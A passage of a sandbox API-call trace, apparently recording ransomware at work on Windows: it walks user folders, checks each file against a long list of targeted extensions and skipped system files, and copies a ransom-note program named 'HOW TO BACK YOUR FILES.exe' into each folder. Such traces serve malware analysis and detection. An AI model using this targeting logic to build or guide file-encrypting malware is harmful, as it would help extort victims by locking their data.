	[0040.746] lstrcmpiW (lpString1="act", lpString2="myd") returned -1
	[0040.746] lstrlenW (lpString="ndf") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="ndf") returned -1
	[0040.746] lstrlenW (lpString="nnt") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="nnt") returned -1
	[0040.746] lstrlenW (lpString="nrmlib") returned 6
	[0040.746] lstrcmpiW (lpString1="ontact", lpString2="nrmlib") returned 1
	[0040.746] lstrlenW (lpString="ns2") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="ns2") returned -1
	[0040.746] lstrlenW (lpString="ns3") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="ns3") returned -1
	[0040.746] lstrlenW (lpString="ns4") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="ns4") returned -1
	[0040.746] lstrlenW (lpString="nsf") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="nsf") returned -1
	[0040.746] lstrlenW (lpString="nv") returned 2
	[0040.746] lstrcmpiW (lpString1="ct", lpString2="nv") returned -1
	[0040.746] lstrlenW (lpString="nv2") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="nv2") returned -1
	[0040.746] lstrlenW (lpString="nwdb") returned 4
	[0040.746] lstrcmpiW (lpString1="tact", lpString2="nwdb") returned 1
	[0040.746] lstrlenW (lpString="nyf") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="nyf") returned -1
	[0040.746] lstrlenW (lpString="odb") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="odb") returned -1
	[0040.746] lstrlenW (lpString="odb") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="odb") returned -1
	[0040.746] lstrlenW (lpString="oqy") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="oqy") returned -1
	[0040.746] lstrlenW (lpString="ora") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="ora") returned -1
	[0040.746] lstrlenW (lpString="orx") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="orx") returned -1
	[0040.746] lstrlenW (lpString="owc") returned 3
	[0040.746] lstrcmpiW (lpString1="act", lpString2="owc") returned -1
	[0040.746] lstrlenW (lpString="p96") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="p96") returned -1
	[0040.747] lstrlenW (lpString="p97") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="p97") returned -1
	[0040.747] lstrlenW (lpString="pan") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="pan") returned -1
	[0040.747] lstrlenW (lpString="pdb") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="pdb") returned -1
	[0040.747] lstrlenW (lpString="pdm") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="pdm") returned -1
	[0040.747] lstrlenW (lpString="pnz") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="pnz") returned -1
	[0040.747] lstrlenW (lpString="qry") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="qry") returned -1
	[0040.747] lstrlenW (lpString="qvd") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="qvd") returned -1
	[0040.747] lstrlenW (lpString="rbf") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="rbf") returned -1
	[0040.747] lstrlenW (lpString="rctd") returned 4
	[0040.747] lstrcmpiW (lpString1="tact", lpString2="rctd") returned 1
	[0040.747] lstrlenW (lpString="rod") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="rod") returned -1
	[0040.747] lstrlenW (lpString="rodx") returned 4
	[0040.747] lstrcmpiW (lpString1="tact", lpString2="rodx") returned 1
	[0040.747] lstrlenW (lpString="rpd") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="rpd") returned -1
	[0040.747] lstrlenW (lpString="rsd") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="rsd") returned -1
	[0040.747] lstrlenW (lpString="sas7bdat") returned 8
	[0040.747] lstrcmpiW (lpString1=".contact", lpString2="sas7bdat") returned -1
	[0040.747] lstrlenW (lpString="sbf") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="sbf") returned -1
	[0040.747] lstrlenW (lpString="scx") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="scx") returned -1
	[0040.747] lstrlenW (lpString="sdb") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="sdb") returned -1
	[0040.747] lstrlenW (lpString="sdc") returned 3
	[0040.747] lstrcmpiW (lpString1="act", lpString2="sdc") returned -1
	[0040.747] lstrlenW (lpString="sdf") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="sdf") returned -1
	[0040.748] lstrlenW (lpString="sis") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="sis") returned -1
	[0040.748] lstrlenW (lpString="spq") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="spq") returned -1
	[0040.748] lstrlenW (lpString="te") returned 2
	[0040.748] lstrcmpiW (lpString1="ct", lpString2="te") returned -1
	[0040.748] lstrlenW (lpString="teacher") returned 7
	[0040.748] lstrcmpiW (lpString1="contact", lpString2="teacher") returned -1
	[0040.748] lstrlenW (lpString="tmd") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="tmd") returned -1
	[0040.748] lstrlenW (lpString="tps") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="tps") returned -1
	[0040.748] lstrlenW (lpString="trc") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="trc") returned -1
	[0040.748] lstrlenW (lpString="trc") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="trc") returned -1
	[0040.748] lstrlenW (lpString="trm") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="trm") returned -1
	[0040.748] lstrlenW (lpString="udb") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="udb") returned -1
	[0040.748] lstrlenW (lpString="udl") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="udl") returned -1
	[0040.748] lstrlenW (lpString="usr") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="usr") returned -1
	[0040.748] lstrlenW (lpString="v12") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="v12") returned -1
	[0040.748] lstrlenW (lpString="vis") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="vis") returned -1
	[0040.748] lstrlenW (lpString="vpd") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="vpd") returned -1
	[0040.748] lstrlenW (lpString="vvv") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="vvv") returned -1
	[0040.748] lstrlenW (lpString="wdb") returned 3
	[0040.748] lstrcmpiW (lpString1="act", lpString2="wdb") returned -1
	[0040.748] lstrlenW (lpString="wmdb") returned 4
	[0040.749] lstrcmpiW (lpString1="tact", lpString2="wmdb") returned -1
	[0040.749] lstrlenW (lpString="wrk") returned 3
	[0040.749] lstrcmpiW (lpString1="act", lpString2="wrk") returned -1
	[0040.749] lstrlenW (lpString="xdb") returned 3
	[0040.749] lstrcmpiW (lpString1="act", lpString2="xdb") returned -1
	[0040.749] lstrlenW (lpString="xld") returned 3
	[0040.749] lstrcmpiW (lpString1="act", lpString2="xld") returned -1
	[0040.749] lstrlenW (lpString="xmlff") returned 5
	[0040.749] lstrcmpiW (lpString1="ntact", lpString2="xmlff") returned -1
	[0040.749] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="Apollon865.txt.exe") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2=".") returned 1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="..") returned 1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="windows") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="bootmgr") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="temp") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="pagefile.sys") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="boot") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="ids.txt") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="ntuser.dat") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="perflogs") returned -1
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2="MSBuild") returned -1
	[0040.749] lstrlenW (lpString="Administrator.contact") returned 21
	[0040.749] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned 62
	[0040.749] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Administrator.contact" | out: lpString1="Administrator.contact") returned="Administrator.contact"
	[0040.749] lstrlenW (lpString="Administrator.contact") returned 21
	[0040.749] lstrlenW (lpString="Apollon865") returned 10
	[0040.749] lstrcmpiW (lpString1="or.contact", lpString2="Apollon865") returned 1
	[0040.749] lstrlenW (lpString=".dll") returned 4
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2=".dll") returned 1
	[0040.749] lstrlenW (lpString=".lnk") returned 4
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2=".lnk") returned 1
	[0040.749] lstrlenW (lpString=".ini") returned 4
	[0040.749] lstrcmpiW (lpString1="Administrator.contact", lpString2=".ini") returned 1
	[0040.750] lstrlenW (lpString=".sys") returned 4
	[0040.750] lstrcmpiW (lpString1="Administrator.contact", lpString2=".sys") returned 1
	[0040.750] lstrlenW (lpString="Administrator.contact") returned 21
	[0040.750] lstrlenW (lpString="bak") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="bak") returned -1
	[0040.750] lstrlenW (lpString="ba_") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1
	[0040.750] lstrlenW (lpString="dbb") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1
	[0040.750] lstrlenW (lpString="vmdk") returned 4
	[0040.750] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1
	[0040.750] lstrlenW (lpString="rar") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="rar") returned -1
	[0040.750] lstrlenW (lpString="zip") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="zip") returned -1
	[0040.750] lstrlenW (lpString="tgz") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1
	[0040.750] lstrlenW (lpString="vbox") returned 4
	[0040.750] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1
	[0040.750] lstrlenW (lpString="vdi") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1
	[0040.750] lstrlenW (lpString="vhd") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1
	[0040.750] lstrlenW (lpString="vhdx") returned 4
	[0040.750] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1
	[0040.750] lstrlenW (lpString="avhd") returned 4
	[0040.750] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1
	[0040.750] lstrlenW (lpString="db") returned 2
	[0040.750] lstrcmpiW (lpString1="ct", lpString2="db") returned -1
	[0040.750] lstrlenW (lpString="db2") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="db2") returned -1
	[0040.750] lstrlenW (lpString="db3") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="db3") returned -1
	[0040.750] lstrlenW (lpString="dbf") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1
	[0040.750] lstrlenW (lpString="mdf") returned 3
	[0040.750] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1
	[0040.751] lstrlenW (lpString="mdb") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1
	[0040.751] lstrlenW (lpString="sql") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="sql") returned -1
	[0040.751] lstrlenW (lpString="sqlite") returned 6
	[0040.751] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1
	[0040.751] lstrlenW (lpString="sqlite3") returned 7
	[0040.751] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1
	[0040.751] lstrlenW (lpString="sqlitedb") returned 8
	[0040.751] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1
	[0040.751] lstrlenW (lpString="xml") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="xml") returned -1
	[0040.751] lstrlenW (lpString="$er") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="$er") returned 1
	[0040.751] lstrlenW (lpString="4dd") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1
	[0040.751] lstrlenW (lpString="4dl") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1
	[0040.751] lstrlenW (lpString="^^^") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1
	[0040.751] lstrlenW (lpString="abs") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="abs") returned 1
	[0040.751] lstrlenW (lpString="abx") returned 3
	[0040.751] lstrcmpiW (lpString1="act", lpString2="abx") returned 1
	[0040.751] lstrlenW (lpString="accdb") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1
	[0040.751] lstrlenW (lpString="accdc") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1
	[0040.751] lstrlenW (lpString="accde") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1
	[0040.751] lstrlenW (lpString="accdr") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1
	[0040.751] lstrlenW (lpString="accdt") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1
	[0040.751] lstrlenW (lpString="accdw") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1
	[0040.751] lstrlenW (lpString="accft") returned 5
	[0040.751] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1
	[0040.751] lstrlenW (lpString="adb") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0040.752] lstrlenW (lpString="adb") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0040.752] lstrlenW (lpString="ade") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="ade") returned -1
	[0040.752] lstrlenW (lpString="adf") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="adf") returned -1
	[0040.752] lstrlenW (lpString="adn") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="adn") returned -1
	[0040.752] lstrlenW (lpString="adp") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="adp") returned -1
	[0040.752] lstrlenW (lpString="alf") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="alf") returned -1
	[0040.752] lstrlenW (lpString="ask") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="ask") returned -1
	[0040.752] lstrlenW (lpString="btr") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="btr") returned -1
	[0040.752] lstrlenW (lpString="cat") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="cat") returned -1
	[0040.752] lstrlenW (lpString="cdb") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1
	[0040.752] lstrlenW (lpString="ckp") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1
	[0040.752] lstrlenW (lpString="cma") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="cma") returned -1
	[0040.752] lstrlenW (lpString="cpd") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1
	[0040.752] lstrlenW (lpString="dacpac") returned 6
	[0040.752] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1
	[0040.752] lstrlenW (lpString="dad") returned 3
	[0040.752] lstrcmpiW (lpString1="act", lpString2="dad") returned -1
	[0040.752] lstrlenW (lpString="dadiagrams") returned 10
	[0040.752] lstrcmpiW (lpString1="or.contact", lpString2="dadiagrams") returned 1
	[0040.752] lstrlenW (lpString="daschema") returned 8
	[0040.752] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1
	[0040.752] lstrlenW (lpString="db-journal") returned 10
	[0040.752] lstrcmpiW (lpString1="or.contact", lpString2="db-journal") returned 1
	[0040.752] lstrlenW (lpString="db-shm") returned 6
	[0040.753] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1
	[0040.753] lstrlenW (lpString="db-wal") returned 6
	[0040.753] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1
	[0040.753] lstrlenW (lpString="dbc") returned 3
	[0040.753] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1
	[0040.753] lstrlenW (lpString="dbs") returned 3
	[0040.753] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1
	[0040.753] lstrlenW (lpString="dbt") returned 3
	[0040.753] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1
	[0040.753] lstrlenW (lpString="dbv") returned 3
	[0040.753] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1
	[0040.753] lstrlenW (lpString="dbx") returned 3
	[0040.753] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1
	[0040.753] lstrlenW (lpString="dcb") returned 3
	[0040.753] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1
	[0040.753] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="asdlfk poopvy.contact" | out: lpString1="asdlfk poopvy.contact") returned="asdlfk poopvy.contact"
	[0040.753] lstrlenW (lpString="asdlfk poopvy.contact") returned 21
	[0040.753] lstrlenW (lpString="Apollon865") returned 10
	[0040.753] lstrcmpiW (lpString1="vy.contact", lpString2="Apollon865") returned 1
	[0040.753] lstrlenW (lpString=".dll") returned 4
	[0040.753] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".dll") returned 1
	[0040.753] lstrlenW (lpString=".lnk") returned 4
	[0040.753] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".lnk") returned 1
	[0040.753] lstrlenW (lpString=".ini") returned 4
	[0040.753] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".ini") returned 1
	[0040.753] lstrlenW (lpString=".sys") returned 4
	[0040.753] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".sys") returned 1
	[0040.753] lstrlenW (lpString="asdlfk poopvy.contact") returned 21
	[0040.753] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="chucu jadnvk.contact" | out: lpString1="chucu jadnvk.contact") returned="chucu jadnvk.contact"
	[0040.753] lstrlenW (lpString="chucu jadnvk.contact") returned 20
	[0040.753] lstrlenW (lpString="Apollon865") returned 10
	[0040.753] lstrcmpiW (lpString1="vk.contact", lpString2="Apollon865") returned 1
	[0040.753] lstrlenW (lpString=".dll") returned 4
	[0040.754] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2=".dll") returned 1
	[0040.754] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.754] lstrlenW (lpString="desktop.ini") returned 11
	[0040.754] lstrlenW (lpString="Apollon865") returned 10
	[0040.754] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.754] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="lulcit amkdfe.contact" | out: lpString1="lulcit amkdfe.contact") returned="lulcit amkdfe.contact"
	[0040.754] lstrlenW (lpString="lulcit amkdfe.contact") returned 21
	[0040.754] lstrlenW (lpString="Apollon865") returned 10
	[0040.754] lstrcmpiW (lpString1="fe.contact", lpString2="Apollon865") returned 1
	[0040.754] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="sikvnb huvuib.contact" | out: lpString1="sikvnb huvuib.contact") returned="sikvnb huvuib.contact"
	[0040.754] lstrlenW (lpString="sikvnb huvuib.contact") returned 21
	[0040.754] lstrlenW (lpString="Apollon865") returned 10
	[0040.754] lstrcmpiW (lpString1="ib.contact", lpString2="Apollon865") returned 1
	[0040.754] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data"
	[0040.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0040.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0040.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 46
	[0040.754] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data"
	[0040.754] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.754] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.759] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff
	[0040.759] GetLastError () returned 0x5
	[0040.759] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\* FindFirstFile error 5\r\n") returned 80
	[0040.759] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\* FindFirstFile error 5\r\n") returned 80
	[0040.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.760] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12b0
	[0040.760] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x50, lpOverlapped=0x0) returned 1
	[0040.760] CloseHandle (hObject=0x154) returned 1
	[0040.761] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0040.761] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData"
	[0040.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0040.761] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0040.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 37
	[0040.761] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData"
	[0040.761] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.761] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.768] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.768] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.768] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.768] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.768] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.768] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.768] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.768] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.768] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.768] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.768] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x306700f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.768] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
